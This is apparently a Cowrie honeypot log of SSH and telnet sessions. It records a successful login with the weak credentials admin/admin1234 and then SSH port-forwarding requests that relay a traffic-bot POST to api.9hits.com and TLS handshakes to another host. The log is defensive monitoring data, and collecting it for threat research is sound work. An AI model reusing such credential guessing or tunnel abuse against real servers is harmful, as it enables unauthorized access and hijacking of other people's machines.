{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:40.033664Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44568,"dst_ip":"159.203.135.109","dst_port":23,"session":"cef245a53ae7","protocol":"telnet","message":"New connection: 172.81.62.90:44568 (159.203.135.109:23) [session: cef245a53ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:53.075982Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62576,"dst_ip":"10.17.0.5","dst_port":22,"session":"d29d77ee5e2b","protocol":"ssh","message":"New connection: 113.164.152.20:62576 (10.17.0.5:22) [session: d29d77ee5e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:59.563293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:59.567812Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:59.846959Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:01.018899Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:01.488819Z","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:01.626178Z","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:01.761895Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TilZPjAjTSZVcHl%2BZWQ4MQ%3D%3DRVKsxOD%2BlzVDXw6NhqDvQUIKVsDbq1BBcvJgBVm9xYEo2Rxbqry%2B70IPOmsp5SCRWH7LGroyW5dQ8kbiP5ECQ0tpGMVFsoLhlsaPslUJ0w6nNm%2BVMO7SFwN8YC30Xav6mCquE3JjRBry1cw1F7hUnQT5tm6%2BU3VMFlvyDhTkV0%2FsdMaFl0SpqZzsW%2B6uikT58XpnGAN8HI2g3g5E8%2BFpUP8aR8PkQE6Jp2kNIygxPyl6%2BTwqM06SrbPJvBjtrg017scFo6jz0VYBMNA%2FFweGoMb9IosOus0A%2B7Ygtv%2FEWABH3FQAyx%2FxFUODLt6cVFWj%2FhJK%2BO7MHrV1Dt6%2Bu2yydU5GEvAeiAFGrvWc1Zbc0oVFp9JGbydFyeGfz1IRAc%2BPmpQOIbEMfj6KipVNpCFXa%2FS10SoqmZSHYZ4yyby9k7W2511MrWyvUkD05PO2ZD7XJXJt0pdEStXjsfjmX8JOVTk04FRZJLSsykJ%2BXi%2BZC3VlFZnlxjyP4ABJtB95dnUIH7FMMz8Z1AFc3HzjZ7KD%2FkqadIYZUU%2FnbuBcT%2BK3Vpy4%2F4NQZQzRsplALBABkr5CuAfaT7jhgXWOG0V6x3mynfB9Uchv%2Bk83aagIlCmHEdTQ%2FrSM5SzoNkreW%2BEK8o3OKI6p3IyYyojq%2FAmMqdPe21xf5wp8PaTUaVOzHfpjiajnGJJUM4wNiCc%2Fciq1O3f%2FSsmkzY8fy%2BHqvNv%2BHvvA7Xffe2CEbYSXy08W9xKTyJgCuUrqAM8lGaJNGNTpkgwFvQKlQBFIuXoziP%2F631Lvqp74FXF4ERdKyKjlmHkG6Fx19KsWLhimTGq9lthtwwz0GJPFQ6gL6vp8OC88zkVAHuQMUaWnQcYlFxhqUTbjpxZRFpYH%2B0vHRuOfET2yQHUCKAcBv4sV8Zg0iWI%2FJOdD9nRCWPlM66X0HPCXmcmtNrYdDgAaMqP6YGynmlGUYwZNv40Mbm6UEYuhMvsg1EMJtc2F1tq8B2K5SfwB0BybugiyaPf9Ne1VCFHiVFAdqTqy%2B84aVzxKUVxa5x0Q4OHAEoVW7UBlnp8%2BPrBLCMk1lkmRCFNMd3Q0Mkjmy%2F20ugrN'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TilZPjAjTSZVcHl%2BZWQ4MQ%3D%3DRVKsxOD%2BlzVDXw6NhqDvQUIKVsDbq1BBcvJgBVm9xYEo2Rxbqry%2B70IPOmsp5SCRWH7LGroyW5dQ8kbiP5ECQ0tpGMVFsoLhlsaPslUJ0w6nNm%2BVMO7SFwN8YC30Xav6mCquE3JjRBry1cw1F7hUnQT5tm6%2BU3VMFlvyDhTkV0%2FsdMaFl0SpqZzsW%2B6uikT58XpnGAN8HI2g3g5E8%2BFpUP8aR8PkQE6Jp2kNIygxPyl6%2BTwqM06SrbPJvBjtrg017scFo6jz0VYBMNA%2FFweGoMb9IosOus0A%2B7Ygtv%2FEWABH3FQAyx%2FxFUODLt6cVFWj%2FhJK%2BO7MHrV1Dt6%2Bu2yydU5GEvAeiAFGrvWc1Zbc0oVFp9JGbydFyeGfz1IRAc%2BPmpQOIbEMfj6KipVNpCFXa%2FS10SoqmZSHYZ4yyby9k7W2511MrWyvUkD05PO2ZD7XJXJt0pdEStXjsfjmX8JOVTk04FRZJLSsykJ%2BXi%2BZC3VlFZnlxjyP4ABJtB95dnUIH7FMMz8Z1AFc3HzjZ7KD%2FkqadIYZUU%2FnbuBcT%2BK3Vpy4%2F4NQZQzRsplALBABkr5CuAfaT7jhgXWOG0V6x3mynfB9Uchv%2Bk83aagIlCmHEdTQ%2FrSM5SzoNkreW%2BEK8o3OKI6p3IyYyojq%2FAmMqdPe21xf5wp8PaTUaVOzHfpjiajnGJJUM4wNiCc%2Fciq1O3f%2FSsmkzY8fy%2BHqvNv%2BHvvA7Xffe2CEbYSXy08W9xKTyJgCuUrqAM8lGaJNGNTpkgwFvQKlQBFIuXoziP%2F631Lvqp74FXF4ERdKyKjlmHkG6Fx19KsWLhimTGq9lthtwwz0GJPFQ6gL6vp8OC88zkVAHuQMUaWnQcYlFxhqUTbjpxZRFpYH%2B0vHRuOfET2yQHUCKAcBv4sV8Zg0iWI%2FJOdD9nRCWPlM66X0HPCXmcmtNrYdDgAaMqP6YGynmlGUYwZNv40Mbm6UEYuhMvsg1EMJtc2F1tq8B2K5SfwB0BybugiyaPf9Ne1VCFHiVFAdqTqy%2B84aVzxKUVxa5x0Q4OHAEoVW7UBlnp8%2BPrBLCMk1lkmRCFNMd3Q0Mkjmy%2F20ugrN'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:01.767070Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:02.029500Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0e\\xef\\x16\\xae\\x19\\xdaJ\\xa9\\x04V\\x10Xb\\x04$9\\x0c\\xcf\\xed\\xc86\\xc1a\\x1d\\xca\\xdaj\\x19d{\\xbe\\x92 |5B\\x162\\x15nN>e\\xf4W$b:\\xb25\\xa6z~\\xaa\\xe5{\\x0f}\\xcc{\\x00\\x90\\xe0\\xa1\\n\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd3\\xc6\\x9cJ\\xee\\xaa&N\\xdc\\xc1\\xe2\\xa7\\xf3%\\x13\\xff\\x04\\x05\\xbc\\xa5\\x8d\\xa6`\\t\\xf3\\x17E\\xb04\\xfb\\xb5}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0e\\xef\\x16\\xae\\x19\\xdaJ\\xa9\\x04V\\x10Xb\\x04$9\\x0c\\xcf\\xed\\xc86\\xc1a\\x1d\\xca\\xdaj\\x19d{\\xbe\\x92 |5B\\x162\\x15nN>e\\xf4W$b:\\xb25\\xa6z~\\xaa\\xe5{\\x0f}\\xcc{\\x00\\x90\\xe0\\xa1\\n\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd3\\xc6\\x9cJ\\xee\\xaa&N\\xdc\\xc1\\xe2\\xa7\\xf3%\\x13\\xff\\x04\\x05\\xbc\\xa5\\x8d\\xa6`\\t\\xf3\\x17E\\xb04\\xfb\\xb5}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:02.032397Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:02.567998Z","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:02.842334Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e\\x00m+O\\x18M%}\\xfc \\x9a\\x9b\\x10\\xd6v\\xf4\\x8c\\x0f\\x92\\xe7B\\xe8\\xa9\\xe7.\\xb9!C\\xb0\\x98\\x9b \\xa1\\xc9\\xe4\\xcdI\\xa9\\xbd\\x9b\\x15\\x04\\xcf\\xc8\\xefA\\xe2\\xc2\\xd6Q\\xc2\\x91-\\xfc\\x06qO\\x19_\\xd7-Q\\xc4\\x13\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10p\\x84\\xd1\\xeb\\x8e\\xb4\\xd4~\\x16\\';\\xe8\\x9c\\xa7\\xb6\\x10\\xca\\x90l\\xe0\\xb4%_\\xbdB\\xc9\\xb2\\x08q\\xa1\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e\\x00m+O\\x18M%}\\xfc \\x9a\\x9b\\x10\\xd6v\\xf4\\x8c\\x0f\\x92\\xe7B\\xe8\\xa9\\xe7.\\xb9!C\\xb0\\x98\\x9b \\xa1\\xc9\\xe4\\xcdI\\xa9\\xbd\\x9b\\x15\\x04\\xcf\\xc8\\xefA\\xe2\\xc2\\xd6Q\\xc2\\x91-\\xfc\\x06qO\\x19_\\xd7-Q\\xc4\\x13\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10p\\x84\\xd1\\xeb\\x8e\\xb4\\xd4~\\x16\\';\\xe8\\x9c\\xa7\\xb6\\x10\\xca\\x90l\\xe0\\xb4%_\\xbdB\\xc9\\xb2\\x08q\\xa1\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:02.847605Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:03.240941Z","src_ip":"113.164.152.20","session":"d29d77ee5e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.81034874916077,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:06.229790Z","src_ip":"128.199.8.54","session":"e6e40da0841f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":55656,"dst_ip":"10.17.0.5","dst_port":22,"session":"829de0a2eea7","protocol":"ssh","message":"New connection: 38.46.222.137:55656 (10.17.0.5:22) [session: 829de0a2eea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:17.512056Z"}
